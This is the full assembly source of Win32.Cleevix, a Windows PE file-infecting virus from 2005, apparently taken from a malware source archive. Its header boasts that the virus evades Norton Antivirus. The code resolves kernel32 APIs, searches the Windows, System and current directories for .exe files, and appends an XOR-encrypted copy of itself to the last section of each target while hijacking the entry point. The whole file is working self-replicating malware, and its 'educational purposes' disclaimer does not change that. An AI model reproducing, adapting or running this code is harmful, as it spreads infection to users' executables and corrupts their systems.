MalwareSourceCode/Win32/Infector/Win32.Cleevix.asm
2020-10-16 23:26:21 +02:00

718 lines
20 KiB
NASM

;-------------------------------------------------------------------------------
;Win32.Cleevix (c)opyright 2005 by lclee_vx
;
;Win32.Cleevix is a PE infector on Windows 9x/2K/XP with simple encryption, anyhow,
;its not detect by Norton Antivirus. :)!!
;
;
;
;Description
;-----------
;When a file infected by Win32.Cleevix is executed, the virus start the process
;as below:
;
;1) Retrieve the base address of Kernel32.dll
;2) Scans the Export Table of Kernel32.dll for the API Functions
;3) Retrieve API functions by scanning others *.dll file. For example, retrieve
; MessageBox function from User32.dll file.
;4) Scan the Current, Windows and System directory, infect all the *exe files.
; Infected files will grow by about 2.99 Kilobyte
;5) The virus do not try to harm/damage the system, its just patch itself to the
; PE files. Anyhow, it might bring down the system as the scanning process running.
;6) The virus apply the simple encryption, its not detected by Norton Antivirus (tested)
;
;
;That is about all folks. The code is heavily commented, so, it should be easy
;enough to follow.
;
; Disclaimer
; ----------
;THIS CODE IS MEANT FOR EDUCATIONAL PURPOSES ONLY. THE AUTHOR CANNOT BE HELD
;RESPONSIBLE FOR ANY DAMAGE CAUSED DUE TO USE, MISUSE OR INABILITY TO USE THE
;SAME
;
;
;Author : lclee_vx
;Group : F-13 Labs
;Web : http://f13.host.sk
;Email : lclee_vx@yahoo.com
;----------------------------------------------------------------------------------
.386p
.model flat, stdcall
option casemap:none
jumps
.data
;------------------------------------------------------------------------------
;Start The Code
;------------------------------------------------------------------------------
.code
VirusStart:
call delta
delta:
pop ebp
mov eax, ebp
sub ebp, offset delta
sub eax, RedundantSize
sub eax, 1000h
NewEip equ $-4
mov dword ptr [ebp+AppBase], eax
mov esi, [esp]
and esi, 0FFFF0000h
pushad
call Crypt
popad
CryptStart:
call GetK32
mov dword ptr [ebp+offset aKernel32], eax ;save kernel32.dll
;-------------------------------------------------------------------------------
;here we looking for APIs function
;-------------------------------------------------------------------------------
lea edi, [ebp+offset @@Offsetz]
lea esi, [ebp+offset @@Namez]
call GetApis
call SpecialApi
call DirScan
CryptEnd:
cmp ebp, 0
je FirstGeneration
ReturnHost:
mov eax, 12345678h
org $-4
OldEip dd 00001000h
mov eax, dword ptr [ebp+offset OldEip]
jmp eax
ret
;-------------------------------------------------------------------------------
;1) Changing to Windows directory, System directory and current directory
;2) remember size buffer have to set > Max_Path (260)
;-------------------------------------------------------------------------------
DirScan:
push 128h ;have to set Buffer size > 260
lea eax, [ebp+offset WindowsDir] ;retrieve the path of Windows
;Directory
push eax
mov eax, dword ptr [ebp+offset aGetWindowsDirectoryA]
call eax
push 128h ;buffer size > 260
lea eax, [ebp+offset SystemDir] ;retrieve the path of System
push eax ;directory
mov eax, [ebp+offset aGetSystemDirectoryA]
call eax
lea eax, [ebp+offset CurrentDir] ;retrieve the path of Current
push eax ;directory
push 128h ;buffer size > 260
mov eax, [ebp+offset aGetCurrentDirectoryA]
call eax
lea eax, [ebp+offset WindowsDir]
push eax
mov eax, [ebp+offset aSetCurrentDirectoryA]
call eax
mov dword ptr [ebp+offset Counter], 3
call SearchFiles ;start searching the target files
lea eax, [ebp+offset SystemDir]
push eax
mov eax, [ebp+offset aSetCurrentDirectoryA]
call eax
mov dword ptr [ebp+offset Counter], 3
call SearchFiles
lea eax, [ebp+offset CurrentDir]
push eax
mov eax, [ebp+offset aSetCurrentDirectoryA]
call eax
mov dword ptr [ebp+offset Counter], 3
call SearchFiles
ret
;-------------------------------------------------------------------------------
;1) Search the target files (*.exe)
;2) Trying Infect 3 files
;-------------------------------------------------------------------------------
SearchFiles:
push ebp ;save ebp
lea eax, dword ptr [ebp+offset Win32FindData] ;load the Win32_Find_Data structure
push eax
lea eax, [ebp+offset Mark] ;search *.exe
push eax
mov eax, [ebp+offset aFindFirstFileA] ;start searching
call eax
pop ebp
inc eax ;check with eax=FFFFFFFF+1
jz SearchClose ;fail :(
dec eax ;get the original FileHandle
mov dword ptr [ebp+offset SearchHandle], eax ;save FileHandle
mov esi, offset Win32FindData.FileName ;esi=pointer to FileName
add esi, ebp
mov dword ptr [ebp+offset FilePointer], esi ;save the Pointer to FileName
cmp [Win32FindData.FileSizeHigh+ebp], 0 ;high 32 bits of FileSize
jne SearchNext ;way too big for us
mov ecx, [Win32FindData.FileSizeLow+ebp] ;ecx=File Size
mov dword ptr [ebp+offset NewFileSize], ecx ;NewFileSize will change in InfectFiles
mov dword ptr [ebp+offset OriFileSize], ecx ;routine
push dword ptr [ebp+offset OldEip]
call InfectFiles
pop dword ptr [ebp+offset OldEip]
dec dword ptr [ebp+offset Counter] ;Counter - 1
cmp dword ptr [ebp+offset Counter], 0
je SearchHandleClose
SearchNext:
push ebp
mov eax, dword ptr [ebp+offset Win32FindData]
push eax
mov eax, dword ptr [ebp+offset SearchHandle] ;eax=Search Handle
push eax
mov eax, [ebp+offset aFindNextFileA]
call eax
pop ebp
cmp eax, 0 ;error?
je SearchHandleClose ;done
mov esi, offset Win32FindData.FileName
add esi, ebp
mov dword ptr [ebp+offset FilePointer], esi ;esi=File Pointer
cmp [Win32FindData.FileSizeHigh+ebp], 0
jne SearchNext
mov ecx, [Win32FindData.FileSizeLow+ebp] ;ecx=File Size
mov dword ptr [ebp+offset NewFileSize], ecx ;save it
mov dword ptr [ebp+offset OriFileSize], ecx
push dword ptr [ebp+offset OldEip]
call InfectFiles
pop dword ptr [ebp+offset OldEip]
dec dword ptr [ebp+offset Counter] ;Counter - 1
cmp dword ptr [ebp+offset Counter], 0
jne SearchNext
SearchHandleClose:
push dword ptr [ebp+offset SearchHandle]
mov eax, [ebp+offset aFindClose]
call eax
cmp eax, 0
je SearchClose
SearchClose:
ret
;----------------------------------------------------------------------------------
;Here start to set the file attributes, mapping files and infect the files
;(1) save the original FileSize, FileAttribute
;(2) Open the file with API CreateFileA. if error,
;----------------------------------------------------------------------------------
InfectFiles:
pushad ;save all the register before
;start infect
mov dword ptr [ebp+offset InfectFlag], 0
mov ecx, dword ptr [ebp+offset NewFileSize]
cmp ecx, MinimumFileSize ;minimum FileSize=400h
jb JumpOut
add ecx, total_size
mov dword ptr [ebp+offset NewFileSize], ecx
push ebp
push dword ptr [ebp+offset FilePointer]
mov eax, [ebp+offset aGetFileAttributesA]
call eax
pop ebp
mov dword ptr [ebp+offset FileAttribute], eax ;save the original file attribute
push ebp
push 00000080h ;set file attribute = any
push dword ptr [ebp+offset FilePointer]
mov eax, [ebp+offset aSetFileAttributesA]
call eax
pop ebp
cmp eax, 0 ;error?
jz ErrorOpenExe
push ebp
push 0h
push 00000080h
push 00000003h
push 0h
push 00000001h
push 80000000h or 40000000h
push dword ptr [ebp+offset FilePointer]
mov eax, [ebp+offset aCreateFileA]
call eax
pop ebp
inc eax ;if error, eax=0FFFFFFFFh. eax = eax+1
cmp eax, 0 ;error?
jz ErrorOpenExe
dec eax
mov dword ptr [ebp+offset FileHandle], eax ;save the FileHandle
push ebp
push dword ptr [ebp+offset NewFileSize]
push 0h
mov eax, [ebp+offset aGlobalAlloc]
call eax
pop ebp
cmp eax, 0h
jz ErrorBuffer ;error?
mov dword ptr [ebp+offset MemoryHandle], eax ;save
push ebp
lea eax, [ebp+offset ByteRead]
push 0h
push eax
push dword ptr [ebp+offset OriFileSize]
push dword ptr [ebp+offset MemoryHandle]
push dword ptr [ebp+offset FileHandle]
mov eax, [ebp+offset aReadFile]
call eax
pop ebp
cmp eax, 0h ;error?
jz ErrorReadExe
push ebp
push 0h
push 0h
push 0h
push dword ptr [ebp+offset FileHandle]
mov eax, [ebp+offset aSetFilePointer]
call eax
pop ebp
inc eax ;if fail, eax=0FFFFFFFFh. eax = eax+1
cmp eax, 0h
jz ErrorReadExe
mov ebx, dword ptr [ebp+offset MemoryHandle]
mov esi, dword ptr [ebp+offset MemoryHandle]
cmp word ptr [esi], "ZM"
jnz ErrorReadExe
xor eax, eax ;eax = 0
mov eax, dword ptr [esi+3ch] ;eax = offset PE Header
add esi, eax ;esi = point to PE Header
cmp dword ptr [esi], "EP" ;PE file ?
jz StartInfect
mov dword ptr [ebp+offset InfectFlag], 0FFh
jmp ErrorReadExe
StartInfect:
mov dword ptr [ebp+offset PEHeader], esi
cmp dword ptr [esi+4ch], "31" ;infected?
jz InfectError
mov dword ptr [esi+4ch], "31" ;put the infected symbol
mov ebx, [esi+74h] ;ebx=NumberOfRvaAndSizes
shl ebx, 3 ;ebx=ebx*8
xor eax, eax ;eax=0
mov ax, word ptr [esi+06h] ;ax = Number of Sections
dec eax ;eax=eax-1
mov ecx, 28h
mul ecx ;eax=eax*ecx
add eax, ebx
add esi, 78h
add esi, eax ;now esi point to Last Section
mov edi, dword ptr [ebp+offset PEHeader] ;edi=PE Header
mov eax, [esi+0ch] ;eax= VirtualAddress
add eax, dword ptr [esi+10h] ;eax = VirtualAddress+SizeOfRawData
mov dword ptr [ebp+offset NewEip], eax
xchg eax, [edi+28h] ;eax = Original AddressOfEntryPoint
add eax, [edi+34h] ;eax= Original AddressOfEntryPoint+ImageBase
mov dword ptr [ebp+offset OldEip], eax ;save as OldEip
mov ecx, total_size
add [esi+08h], ecx ;New VirtualSize= Original VirtualSize+VirusSize
mov eax, [esi+08h] ;eax = New VirtualSize
add eax, [esi+0ch] ;eax = New VirtualSize+VirtualAddress
mov [edi+50h], eax ;eax=SizeOfImage
mov eax, [esi+10h] ;eax=SizeOfRawData
add [esi+10h], ecx ;New SizeOfRawData= Old SizeOfRawData+VirusSize
or dword ptr [esi+24h], 0A0000020h
mov edi, [esi+14h]
mov ebx, dword ptr [ebp+offset MemoryHandle]
add edi, ebx
add edi, eax
mov esi, offset VirusStart
add esi, ebp
pushad
mov byte ptr [ebp+offset CryptKey], 0ffh
call Crypt
popad
rep movsb
call Crypt
lea eax, [ebp+offset ByteRead]
push ebp
push 0h
push eax
push dword ptr [ebp+offset NewFileSize]
push dword ptr [ebp+offset MemoryHandle]
push dword ptr [ebp+offset FileHandle]
mov eax, [ebp+offset aWriteFile]
call eax
pop ebp
InfectError:
ErrorReadExe:
push ebp
push dword ptr [ebp+offset MemoryHandle]
mov eax, [ebp+offset aGlobalFree]
call eax
pop ebp
ErrorBuffer:
push ebp
push dword ptr [ebp+offset FileHandle]
mov eax, [ebp+offset aCloseHandle]
call eax
pop ebp
ErrorOpenExe:
push ebp
push dword ptr [ebp+offset FileAttribute]
push dword ptr [ebp+offset FilePointer]
mov eax, [ebp+offset aSetFileAttributesA]
call eax
pop ebp
jmp InfectCheck
InfectFail:
stc
jmp JumpOut
InfectCheck:
cmp dword ptr [ebp+offset InfectFlag], 0FFh
jz InfectFail
clc
JumpOut:
popad
ret
;----------------------------------------------------------------------------------
;Searching Kernel32.dll address
;----------------------------------------------------------------------------------
GetK32 PROC
ScanK32:
cmp word ptr [esi], "ZM"
je K32Found
sub esi, 1000h
jmp ScanK32
K32Found:
mov eax, esi
ret
GetK32 endp
;------------------------------------------------------------------------------------
;Searching The APIs function
;edi=API offset
;esi=API name
;------------------------------------------------------------------------------------
GetApis PROC
@@1:
mov eax, dword ptr [ebp+aKernel32]
push esi
push edi
call GetApi
pop edi
pop esi
mov [edi], eax ;store API address in eax ----> edi
add edi, 4
@@3:
inc esi
cmp byte ptr [esi], 0
jne @@3
inc esi
cmp byte ptr [esi], 0FFh ;ended?
jnz @@1
ret
GetApis endp
GetApi PROC
mov ebx, [eax+3ch] ;ebx=offset PE header
add ebx, eax ;ebx=point to PE header
mov ebx, [ebx+78h] ;ebx=point to ExportDirectory Virtual Address
add ebx, eax ;normalize, ebx=point to ExportDirectory
xor edx, edx ;edx=0
mov ecx, [ebx+20h] ;ecx=point to AddressOfNames
add ecx, eax ;normalize
push esi ;save to stack
push edx ;save to stack
NextApi:
pop edx
pop esi
inc edx ;edx=the index into AddressOfOrdinals+1
mov edi, [ecx] ;edi=API function export by Kernel32.dll
add edi, eax ;normalize
add ecx, 4 ;point to next API function
push esi ;save to stack
push edx
CompareApi:
mov dl, [edi] ;dl=API function export by Kernel32.dll
mov dh, [esi] ;dh=API function we looking for
cmp dl, dh ;match?
jne NextApi ;not match....ok...next API
inc edi ;if match, compare next byte
inc esi
cmp byte ptr [esi], 0 ;finish?
je GetAddr ;jmp to get the address of API function
jmp CompareApi
GetAddr:
pop edx
pop esi
dec edx ;edx-1 (because edx=index point to zero -finish)
shl edx, 1 ;edx=edx*2
mov ecx, [ebx+24h]
add ecx, eax
add ecx, edx ;ecx=ordinals
xor edx,edx
mov dx, [ecx]
shl edx, 2 ;edx=edx*4
mov ecx, [ebx+1ch] ;ecx=RVA AddressOfFunctions
add ecx, eax ;normalize
add ecx, edx
add eax, [ecx] ;eax=address of API function we looking for
ret
GetApi endp
;-----------------------------------------------------------------------------
;call special API MessageBoxA
;-----------------------------------------------------------------------------
SpecialApi proc
push offset User32Dll
mov eax, dword ptr [ebp+offset aLoadLibraryA]
call eax
mov esi, offset sMessageBoxA
push esi
push eax
mov eax, dword ptr [ebp+offset aGetProcAddress]
call eax
mov dword ptr [ebp+offset aMessageBoxA], eax
ret
SpecialApi endp
;------------------------------------------------------------------------------
;Encrypt/Decrypt Virus Data
;------------------------------------------------------------------------------
Crypt:
mov esi, offset CryptStart
add esi, ebp
mov ah, byte ptr [ebp+offset CryptKey]
mov ecx, CryptEnd-CryptStart
CryptLoop:
xor byte ptr [esi], ah
inc esi
loop CryptLoop
ret
;-------------------------------------------------------------------------------
;Pop up message
;-------------------------------------------------------------------------------
FirstGeneration:
push 0
push offset szTopic
push offset szText
push 0
mov eax, dword ptr [ebp+offset aMessageBoxA]
call eax
push 0
mov eax, dword ptr [ebp+offset aExitProcess]
call eax
;-----------------------------------------------------------------------------
;APIs function needed.
;-----------------------------------------------------------------------------
sMessageBoxA db "MessageBoxA", 0
aMessageBoxA dd 00000000h
@@Namez label byte
sGetProcAddress db "GetProcAddress", 0
sLoadLibraryA db "LoadLibraryA", 0
sExitProcess db "ExitProcess", 0
sGetWindowsDirectoryA db "GetWindowsDirectoryA", 0
sGetSystemDirectoryA db "GetSystemDirectoryA", 0
sGetCurrentDirectoryA db "GetCurrentDirectoryA", 0
sSetCurrentDirectoryA db "SetCurrentDirectoryA", 0
sFindFirstFileA db "FindFirstFileA", 0
sFindNextFileA db "FindNextFileA", 0
sFindClose db "FindClose", 0
sGlobalAlloc db "GlobalAlloc", 0
sGlobalFree db "GlobalFree", 0
sGetFileAttributesA db "GetFileAttributesA", 0
sSetFileAttributesA db "SetFileAttributesA", 0
sCreatFileA db "CreateFileA", 0
sReadFile db "ReadFile", 0
sWriteFile db "WriteFile", 0
sGetFileTime db "GetFileTime",0
sGetFileSize db "GetFileSize", 0
sCreateFileMapping db "CreateFileMapping", 0
sMapViewOfFile db "MapViewOfFile", 0
sUnmapViewOfFile db "UnmapViewOfFile", 0
sCloseHandle db "CloseHandle", 0
sSetFileTime db "SetFileTime", 0
sSetFilePointer db "SetFilePointer", 0
sSetEndOfFile db "SetEndOfFile", 0
db 0FFh
@@Offsetz label byte
aGetProcAddress dd 00000000h
aLoadLibraryA dd 00000000h
aExitProcess dd 00000000h
aGetWindowsDirectoryA dd 00000000h
aGetSystemDirectoryA dd 00000000h
aGetCurrentDirectoryA dd 00000000h
aSetCurrentDirectoryA dd 00000000h
aFindFirstFileA dd 00000000h
aFindNextFileA dd 00000000h
aFindClose dd 00000000h
aGlobalAlloc dd 00000000h
aGlobalFree dd 00000000h
aGetFileAttributesA dd 00000000h
aSetFileAttributesA dd 00000000h
aCreateFileA dd 00000000h
aReadFile dd 00000000h
aWriteFile dd 00000000h
aGetFileTime dd 00000000h
aGetFileSize dd 00000000h
aCreateFileMapping dd 00000000h
aMapViewOfFile dd 00000000h
aUnmapViewOfFile dd 00000000h
aCloseHandle dd 00000000h
aSetFileTime dd 00000000h
aSetFilePointer dd 00000000h
aSetEndOfFile dd 00000000h
;------------------------------------------------------------------------------
;Parameters
;------------------------------------------------------------------------------
aKernel32 dd 00000000h
Counter dd 00000000h
SearchHandle dd 00000000h
FileHandle dd 00000000h
FilePointer dd 00000000h
OriginalFileTime dd 00000000h
MapSize dd 00000000h
FileAttribute dd 00000000h
MemoryHandle dd 00000000h
MapAddress dd 00000000h
OldRawSize dd 00000000h
NewRawSize dd 00000000h
NewFileSize dd 00000000h
PEHeader dd 00000000h
FileAlign dd 00000000h
IncreaseRaw dd 00000000h
InfectFlag dd 00000000h
OriFileSize dd 00000000h
AppBase dd 00400000h
ByteRead dd ?
User32Dll db "User32.dll", 0 ;User32.dll
WindowsDir db 128h dup (0)
SystemDir db 128h dup (0)
Mark db "*.exe", 0 ;target file *.exe
RedundantSize equ (offset delta - offset VirusStart)
total_size equ (offset VirusEnd - offset VirusStart)
szTopic db "F-13 Labs", 0
szText db "Author:lclee_vx", 0
max_path equ 260
MinimumFileSize equ 1024d
filetime STRUC ;file time structure
FT_dwLowDateTime DD ?
FT_dwHighDateTime DD ?
filetime ENDS
win32_find_data STRUC
FileAttributes DD ? ; attributes
CreationTime filetime ? ; time of creation
LastAccessTime filetime ? ; last access time
LastWriteTime filetime ? ; last modificationm
FileSizeHigh DD ? ; filesize
FileSizeLow DD ? ; -"-
Reserved0 DD ? ;
Reserved1 DD ? ;
FileName DB max_path DUP (?) ; long filename
AlternateFileName DB 13 DUP (?) ; short filename
DB 3 DUP (?) ; dword padding
win32_find_data ENDS ;
;
Win32FindData win32_find_data ? ; our search area
CryptKey db ?
VirusEnd:
ends
end VirusStart